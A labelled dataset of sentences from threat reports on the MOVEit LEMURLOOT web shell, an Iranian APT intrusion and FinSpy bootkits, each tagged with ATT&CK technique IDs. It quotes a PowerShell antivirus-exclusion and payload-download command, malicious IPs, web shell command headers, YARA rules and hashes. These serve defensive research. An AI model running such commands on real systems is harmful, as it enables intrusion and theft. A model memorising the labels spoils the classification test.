{"sentence": "LEMURLOOT can also steal Azure Storage Blob information, including credentials, from the MOVEit Transfer application settings, suggesting that actors exploiting this vulnerability may be stealing files from Azure in cases where victims are storing appliance data in Azure Blob storage, although it is unclear if theft is limited to data stored in this way.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "In many cases, the scanning and exploitation leading to the delivery of LEMURLOOT was sourced from IP addresses in the range 5.252.188.0/22, however interaction with the web shell and data theft came from different systems.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Many of the hosts used to support these second-stage operations hosted RDP services with certificates generated between May 19 and 22, which is suggestive of when this infrastructure may have been staged.", "labels": ["T1021.001"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Analysis of this intrusion activity is ongoing and will be reflected on the CAMP.23.037 page within Mandiant Advantage; we will also update this blog post if and when additional information becomes available.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Along with this blog post, Mandiant has produced a detailed MOVEit Containment and Hardening guide to assist organizations with this event.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The document contains guidance on the following key items: Containment Measures Application and Infrastructure Hardening Logging and Hunting Recommendations LEMURLOOT AnalysisLEMURLOOT is a web shell written in C# tailored to interact with the MOVEit Transfer platform.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The malware authenticates incoming connections via a hard-coded password and can run commands that will download files from the MOVEit Transfer system, extract its Azure system settings, retrieve detailed record information, create and insert a particular user, or delete this same user.", "labels": ["T1105"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Data returned to the system interacting with LEMURLOOT is gzip compressed.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Authentication and Database Connection LEMURLOOT first checks if an incoming HTTP request contains the header field X-siLock-Comment and a corresponding 36-character GUID-formatted value, which varies across samples.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "It effectively uses this GUID as a password and returns an HTTP 404 status code to clients that do not pass the expected header field and value.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the correct password is passed to LEMURLOOT, it sends a header response X-siLock-Comment and value comment, indicating the connection is successful and can accept tasking.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The malware connects to a SQL server from the executing host using the settings retrieved using SystemSettings.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "DatabaseSettings().", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "It then processes data received from the connecting client, parsing expected commands from the following HTTP header fields: X-siLock-Step1, X-siLock-Step2, and X-siLock-Step3. X-siLock-Step1 Command SequenceIf the value of the header field X-siLock-Step1 is -1, LEMURLOOT retrieves and returns the Azure system settings from MOVEit Transfer, including the configured Azure Blog storage account, and its associated key and container (AzureBlobStorageAccount, AzureBlobKey, and AzureBlobContainer).", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "It then performs SQL queries to retrieve files, file size, folders, file owners, and institution name data.", "labels": ["T1083"], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The resulting data is gzip compressed and returned to the client interacting with LEMURLOOT.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the X-siLock-Step1 header field value is -2, it deletes a user account with the LoginName and RealName set to \"Health Check Service\" using the SQL command in Figure 1.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Note that this user is inserted using the following functionality.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Figure 1: MOVEit user deletion command Delete FROM users WHERE RealName='Health Check Service' X-siLock-Step2 and X-siLock-Step3 Command Sequence If the value of header field X-siLock-Step1 is neither -1 or -2, the malware parses the values from header fields X-siLock-Step2 and X-siLock-Step3 and stores them in variables named fileid and folderid, respectively.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the values of fileid and folderid are not null, the malware retrieves the file from the local MOVEit Transfer system with these same values, gzip compresses it, and returns it to the connecting client.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the fileid and folderid variables are null, LEMURLOOT attempts to identify an existing account with permission level “30” and", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "InstID = the value set from \"X-siLock-Step1\" otherwise it creates a new account with a randomly generated username and with LoginName and RealName values set to \"Health Check Service\" This account is inserted it into an active MOVEit application session.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Attribution Preliminary analysis has not yet yielded evidence of concrete overlaps between UNC4857 and existing threat clusters at this time.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "However, there are some notable, but broad similarities between the tactics, techniques, and procedures (TTPs) used by UNC4857 and those associated with FIN11 data theft extortion activity.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "For example, UNC4857 and suspected FIN11 threat cluster UNC2546 have both used zero day vulnerabilities to target file transfer systems, then used tailored web shells for data theft.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Mandiant has also observed at least one actor associated with CLOP recently seeking partners to work on SQL injections.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "However, we currently have insufficient evidence to determine if there is a relationship between UNC4857 and FIN11.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Ongoing analysis of emerging activity may provide additional insights.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Implications Mandiant routinely observes threat actors with varying motivations targeting sensitive data.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "For example, state-sponsored threat actors have demonstrated ongoing interest in targeting entities with policy research, military and government files, intellectual property, and personally identifiable information.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Cyber criminals can also directly monetize stolen data via extortion operations, post it for sale on underground forums, or leverage it in secondary operations such as business email compromise.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "While Mandiant currently has insufficient evidence to attribute this recent activity to a known threat actor, it is reminiscent of prior mass exploitation events targeting file transfer software and leading to FIN11-attributed data theft extortion via the CL0P^_- LEAKS data leak site (DLS).", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "In multiple cases, several weeks after the attackers steal data, FIN11 sent emails demanding an extortion payment in return for not publishing the data on the CL0P^_- LEAKS DLS.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "The delay in reaching out to victim organizations with a ransom demand could be due to various factors, such as extending the amount of time that the zero day vulnerability remained undetected and/or capacity to negotiate with a large number of victims simultaneously.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "If the goal of this operation is extortion, we anticipate that victim organizations could receive extortion emails in the coming days to weeks.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Detections The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "These rules are intended to serve as a starting point for hunting efforts to identify LEMURLOOT payloads; however, they may need adjustment over time if the malware family changes.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "YARA rule for detecting compiled LEMURLOOT DLLsrule M_Webshell_LEMURLOOT_DLL_1 { meta: disclaimer = \"This rule is meant for hunting and is not tested to run in a production environment\" description = \"Detects the compiled DLLs generated from human2.aspx LEMURLOOT payloads.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "\" sample = \"c58c2c2ea608c83fad9326055a8271d47d8246dc9cb401e420c0971c67e19cbf\" date = \"2023/06/01\" version = \"1\" strings: $net = \"ASP.NET\" $human = \"Create_ASP_human2_aspx\" $s1 = \"X-siLock-Comment\" wide $s2 = \"X-siLock-Step3\" wide $s3 = \"X-siLock-Step2\" wide $s4 = \"Health Check Service\" wide $s5 = \"attachment; filename={0}\" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "== 0x00004550 and filesize < 15KB and $net and ( ($human and 2 of ($s*)) or (3 of ($s*)) )}YARA rule for detecting LEMURLOOT ASP.NET scriptsrule M_Webshell_LEMURLOOT_1 { meta: disclaimer", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "= \"This rule is meant for hunting and is not tested to run in a production environment\" description = \"Detects the LEMURLOOT ASP.NET scripts\" md5 = \"b69e23cd45c8ac71652737ef44e15a34\" sample = \"cf23ea0d63b4c4c348865cefd70c35727ea8c82ba86d56635e488d816e60ea45x\" date = \"2023/06/01\" version = \"1\" strings: $head = \"<%@", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Page\" $s1 = \"X-siLock-Comment\" $s2 = \"X-siLock-Step\" $s3 = \"Health Check Service\" $s4 = /pass, \\\"[a-z0-9]{8}-[a-z0-9]{4}/ $s5 = \"attachment;filename={0}\" condition: filesize > 5KB and filesize < 10KB and ( ($head in (0..50) and 2 of ($s*)) or (3 of ($s*)) )", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "}IndicatorsLEMURLOOT SamplesMD5 SHA256 00c6bce35c40ce1601aa06c4e808c0f1 38e69f4a6d2e81f28ed2dc6df0daf31e73ea365bd2cfc90ebc31441404cca264 04b474e8db353d368e2d791ba5dee6d6 3a977446ed70b02864ef8cfa3135d8b134c93ef868a4cc0aa5d3c2a74545725b 11eadcf3f1bc9b0ed6994c3ede299ce8 b1c299a9fe6076f370178de7b808f36135df16c4e438ef6453a39565ff2ec272 317552cac7035e35f7bdfc2162dfd29c c77438e8657518221613fbce451c664a75f05beea2184a3ae67f30ea71d34f37 359a1141a79480555aa996fd6d9e4af1 702421bcee1785d93271d311f0203da34cc936317e299575b06503945a6ea1e0 44d8e68c7c4e04ed3adacb5a88450552 387cee566aedbafa8c114ed1c6b98d8b9b65e9f178cf2f6ae2f5ac441082747a 45685c190c91ebe0966e8a0aeca31280 4359aead416b1b2df8ad9e53c497806403a2253b7e13c03317fc08ad3b0b95bf 538d6e172d18d4cebeac211873779ba5 daaa102d82550f97642887514093c98ccd51735e025995c2cc14718330a856f4 67fca3e84490dfdddf72e9ba558b589a 6015fed13c5510bbb89b0a5302c8b95a5b811982ff6de9930725c4630ec4011d 7d5e5537c5346d764f067f66cca426ba 9d1723777de67bc7e11678db800d2a32de3bcd6c40a629cd165e3f7bbace8ead 8cd6c75e6160b90de2a52c967b3d4846 c56bcb513248885673645ff1df44d3661a75cfacdce485535da898aa9ba320d4 8d88e451e39506ae258f3aa99da8db9a 0ea05169d111415903a1098110c34cdbbd390c23016cd4e179dd9ef507104495 911230b5dca1c43f6d22e65c66b0f6b1 d49cf23d83b2743c573ba383bf6f3c28da41ac5f745cde41ef8cd1344528c195 96d467fd9663cf2e5572f8529e54f13e 5b566de1aa4b2f79f579cdac6283b33e98fdc8c1cfa6211a787f8156848d67ff 9f3c306dabc3f349b343251f4443412c f0d85b65b9f6942c75271209138ab24a73da29a06bc6cc4faeddcb825058c09d a85299f78ab5dd05e7f0f11ecea165ea fe5f8388ccea7c548d587d1e2843921c038a9f4ddad3cb03f3aa8a45c29c6a2f b1bdad086567efd202babf56eac17e1d 9e89d9f045664996067a05610ea2b0ad4f7f502f73d84321fb07861348fdc24a b52e56bfc03878cc5cb9eae9d3896808 ea433739fb708f5d25c937925e499c8d2228bf245653ee89a6f3d26a5fd00b7a b69e23cd45c8ac71652737ef44e15a34 cf23ea0d63b4c4c348865cefd70c35727ea8c82ba86d56635e488d816e60ea45 bf7c1dd613101c0a95027249a5fcb759 2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5 c2db1091eb7bac28461877f736d86d83 348e435196dd795e1ec31169bd111c7ec964e5a6ab525a562b17f10de0ab031d d71a6b5ae3d89dc33cbbb6877e493d52 b9a0baf82feb08e42fa6ca53e9ec379e79fbe8362a7dac6150eb39c2d33d94ad ddd95f1c76a1d50b997b2e64274f386a a1269294254e958e0e58fc0fe887ebbc4201d5c266557f09c3f37542bd6d53d7 e9a5f0c7656329ced63d4c8742da51b4 48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a eea4d43f9e3700ebcd61405776eb249a d477ec94e522b8d741f46b2c00291da05c72d21c359244ccb1c211c12b635899 fbba113d1d121220fa43f90b3a20870a 3ab73ea9aebf271e5f3ed701286701d0be688bf7ad4fb276cb4fbe35c8af8409 AcknowledgementsBeyond the listed authors are dozens of consultants and analysts who have already been working to help our clients with cases related to exploitation of CVE-2023-34362.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "We would also like to specifically thank Raymond Leong from the Mandiant FLARE team for his invaluable support.", "labels": [], "doc_title": "ZeroDay Vulnerability in MOVEit Transfer Exploited for Data Theft"}
{"sentence": "Summary From mid-June through mid-July 2022, CISA conducted an incident response engagement at a Federal Civilian Executive Branch (FCEB) organization where CISA observed suspected advanced persistent threat (APT) activity.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Technical Details Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Specifically, CISA observed HTTPS activity from IP address 51.89.181[.]64 to the organization’s VMware server.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Based on trusted third-party reporting, 51.89.181[.]64 is a Lightweight Directory Access Protocol (LDAP) server associated with threat actors exploiting Log4Shell.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA also observed a DNS query for us‐nation‐ny[.]cf that resolved back to 51.89.181[.]64 when the victim server was returning this Log4Shell LDAP callback to the actors’ server.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As trusted-third party reporting associated Log4Shell activity from 51.89.181[.]64 with lateral movement and targeting of DCs, CISA suspected the threat actors had moved laterally and compromised the organization’s DC. From mid-June through mid-July 2022, CISA conducted an onsite incident response engagement and determined that the organization was compromised as early as February 2022, by likely Iranian government-sponsored APT actors who installed XMRig crypto mining software.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1562.001]: powershell try{Add-MpPreference -ExclusionPath 'C:\\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc \"$BASE64 encoded payload to download next stage and execute it\" The exclusion rule allowlisted the entire c:\\drive, enabling threat actors to download tools to the c:\\drive without virus scans.", "labels": ["T1027", "T1105", "T1562.001"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\\users\\public\\mde.ps1", "labels": ["T1105"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1105].", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk [T1070.004]. file.zip contained XMRig cryptocurrency mining software and associated configuration files.", "labels": ["T1070.004"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "WinRing0x64.sys – XMRig Miner driver wuacltservice.exe – XMRig Miner config.json – XMRig miner configuration RuntimeBroker.exe – Associated file.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1136.001] and tests for internet connectivity by pinging 8.8.8.8", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1016.001].", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1053.005] that executed RuntimeBroker.exe daily as SYSTEM.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note: By exploiting Log4Shell, the actors gained access to a VMware service account with administrator and system level access.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The Scheduled Task was named RuntimeBrokerService.exe to masquerade as a legitimate Windows task.", "labels": ["T1053.005"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "After obtaining initial access and installing XMRig on the VMWare Horizon server, the actors used RDP [T1021.001] and the built-in Windows user account DefaultAccount", "labels": ["T1021.001", "T1078"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Once the threat actor established themselves on the VDI-KMS host, CISA observed the actors download around 30 megabytes of files from transfer[.]sh server associated with 144.76.136[.]153.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ngrok – a reverse proxy tool for proxying an internal service out onto an Ngrok domain, which the user can then access at a randomly generated subdomain at *.ngrok[.]io.", "labels": ["T1090"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors were able to proxy [T1090] RDP sessions, which were only observable on the local network as outgoing HTTPS port 443 connections to tunnel.us.ngrok[.]com and korgn.su.lennut[.]com (the prior domain in reverse).", "labels": ["T1021.001", "T1071.001", "T1090"], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "It is possible, but was not observed, that the threat actors configured a custom domain, or used other Ngrok tunnel domains, wildcarded here as *.ngrok[.]com, *.ngrok[.]io, ngrok.*.tunnel[.]com, or korgn.*.lennut[.]com.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Once the threat actors established a deep foothold in the network and moved laterally to the domain controller, they executed the following PowerShell command on the Active Directory to obtain a list of all machines attached to the domain [T1018]: Powershell.exe get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address >", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The threat actors also changed the password for the local administrator account", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. Mitigations CISA and FBI recommend implementing the mitigations below and in Table 1 to improve your organization's cybersecurity posture on the basis of threat actor behaviors.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Verify successful implementation of mitigations by executing the vendor supplied script Horizon_Windows_Log4j_Mitigations.zip without parameters to ensure that no vulnerabilities remain.", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If using Windows 10 version 1607 or Windows Server 2016 or later, monitor or disable Windows DefaultAccount, also known as the Default System Managed Account (DSMA).", "labels": [], "doc_title": "Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "FinSpy, also known as FinFisher or Wingbird, is an infamous surveillance toolset.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Kaspersky has been tracking deployments of this spyware since 2011.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Historically, its Windows implant was distributed through a single-stage installer.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This version was detected and researched several times up to 2018.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Since that year, we observed a decreasing detection rate of FinSpy for Windows.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the nature of this anomaly remained unknown, we began detecting some suspicious installers of legitimate applications, backdoored with a relatively small obfuscated downloader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "We were unable to cluster those packages until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Over the course of our investigation, we found out that the backdoored installers are nothing more than first stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the MBR infection has been known since at least 2014, details on the UEFI bootkit are publicly revealed in this article for the first time.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "We decided to share some of our unseen findings about the actual state of FinSpy implants.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "We will cover not only the version for Windows, but also the Linux and macOS versions, since they have a lot of internal structure and code similarities.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The full details of this research, as well as future updates on FinSpy, are available to customers of the APT reporting service through our Threat Intelligence Portal.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Contact: intelreports@kaspersky.com UEFI infection During our research, we found a UEFI bootkit that was loading FinSpy.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All machines infected with the UEFI bootkit had the Windows Boot Manager (bootmgfw.efi) replaced with a malicious one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the UEFI transfers execution to the malicious loader, it first locates the original Windows Boot Manager.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is stored inside the efi\\microsoft\\boot\\en-us\\ directory, with the name consisting of hexadecimal characters.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This directory contains two more files: the Winlogon Injector and the Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Both of them are encrypted with RC4.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The decryption key is the EFI system partition GUID, which differs from one machine to another.", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Sample contents of the \\efi\\microsoft\\boot\\en-us\\ directory Once the original bootloader is located, it is loaded into memory, patched and launched.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The patched launcher: Patches the function of the OS loader that transfers execution to the kernel The patched function hooks the kernel’s PsCreateSystemThread function, which, when called for the first time, creates an additional thread that decrypts the next loader stage and launches it.", "labels": ["T1106", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The next stage: Locates the Trojan loader file on the EFI partition and decrypts it Waits until a user logs on and injects the Trojan loader into exe.", "labels": ["T1055", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan loader: Extracts the Trojan from resources and drops it under the name dll Decrypts the Trojan with a XOR-based cipher and unpacks it with aPLib Reflectively loads and launches the Trojan.", "labels": ["T1027", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "MBR infection Older machines that do not support UEFI can be infected through the MBR.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the victim machine starts up, the infected MBR copies the initial loader code from the last megabyte of the hard drive to the highest available memory located before the EBDA1.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This code hooks the 13h and 15h BIOS interrupts and then launches the original MBR.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The 15h interrupt makes sure that the Windows loader does not overwrite the copied code.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When this interrupt is called to get the size of the area before the EBDA, the hook will reduce the amount of available memory.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "As for the 13h interrupt hook (which manages reading information from disk), it patches the OS loader when it is read from disk.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Just as in the case with the EFI infection, the hooked functions place their own hooks on further OS loading stages.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The last hook in the chain creates a thread in the kernel that injects the next stage into winlogon.exe.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case the infection is installed on a 32-bit machine, the process of injecting code into winlogon.exe is more complex than the one observed in the UEFI infection.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is as follows: A thread with trampoline shellcode is created inside exe.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This shellcode duplicates the exe process handle and transfers it to explorer.exe.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The shellcode injects another trampoline shellcode in Explorer.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The second shellcode makes exe inject the Trojan loader back into winlogon.exe.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This roundabout way of injecting code is intended to trick security solutions.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The injected Trojan loader is the same as the UEFI one.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "User Mode Infection Overview This infection is by far the most complex.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In short, the attack scenario is as follows:", "labels": ["T1204.002"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The victim downloads a Trojanized application and executes it.", "labels": ["T1204.002"], "doc_title": "FinSpy unseen findings"}
{"sentence": "During its normal course of operation the application connects to a C2 server, downloads and then launches a non-persistent component called the Pre-Validator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Pre-Validator ensures that the victim machine is not used for malware analysis.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Pre-Validator downloads Security Shellcodes from the C2 server and executes them.", "labels": ["T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In total, it deploys more than 30 shellcodes.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Each shellcode collects specific system information (e.g. the current process name) and uploads it back to the server.", "labels": ["T1041", "T1057", "T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case a check fails, the C2 server terminates the infection process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Otherwise, it continues sending shellcodes.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "If all security checks pass, the server provides a component that we call the Post-Validator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is a persistent implant likely used to ensure that the victim is the intended one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Post-Validator collects information that allows it to identify the victim machine (running processes, recently opened documents, screenshots) and sends it to a C2 server specified in its configuration.", "labels": ["T1005", "T1057", "T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Depending on the information collected, the C2 server may command the Post-Validator to deploy the full-fledged Trojan platform or remove the infection.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Overview of the user mode infection Trojanized applications Throughout our research, we identified numerous legitimate applications backdoored with FinSpy.", "labels": ["T1072"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Examples include software installers (e.g. TeamViewer, VLC Media Player, WinRAR) as well as portable applications.", "labels": ["T1219"], "doc_title": "FinSpy unseen findings"}
{"sentence": "All observed backdoored application samples have their original digital signature.", "labels": [], "doc_title": "FinSpy unseen findings"}
